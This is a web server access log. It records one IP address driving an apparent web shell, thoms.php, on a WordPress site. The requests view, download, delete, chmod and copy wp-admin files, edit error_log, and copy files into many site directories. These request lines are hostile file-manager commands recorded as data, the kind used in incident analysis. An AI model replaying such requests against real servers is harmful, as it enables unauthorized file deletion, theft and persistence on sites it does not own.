45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12371 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?del=ms-admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28849 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?dl=edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?del=export.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=export.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /big-wife.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /big-wife.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13785 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28322 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?chmod=post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /big-wife.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?del=media-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?chmod=term.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?chmod=theme-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /big-wife.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?del=tools.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?del=tools.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /big-wife.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?dl=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /thoms.php?del=edit-tags.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29035 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:20 -0400] "GET /big-wife.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fload-styles.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fload-styles.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?del=widgets-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29072 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?dl=ms-options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /big-wife.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /big-wife.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?del=site-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29064 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?chmod=comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /big-wife.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?chmod=privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?dl=link-manager.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29073 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:21 -0400] "GET /thoms.php?dl=nav-menus.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12186 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?dl=themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?del=about.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?del=about.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?del=admin-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustom-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustom-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?dl=admin-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /big-wife.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?del=options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29073 "http://163.245.207.76:443/thoms.php?del=options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /big-wife.com.tw/wp-admin/options-discussion.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:22 -0400] "GET /thoms.php?del=admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29073 "http://163.245.207.76:443/thoms.php?del=admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?chmod=site-health-info.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12298 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /big-wife.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?dl=upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29070 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?chmod=admin-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?chmod=install-helper.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?chmod=install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?dl=link-add.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29072 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?del=media-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29073 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?edit=error_log&p=big-wife.com.tw HTTP/1.1" 200 14416 "http://163.245.207.76:443/thoms.php?edit=error_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:23 -0400] "GET /thoms.php?del=ms-options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 29071 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?edit=error_log&env=ace&p=big-wife.com.tw HTTP/1.1" 200 18073 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11816 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18927 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:24 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 19130 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p= HTTP/1.1" 200 12276 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
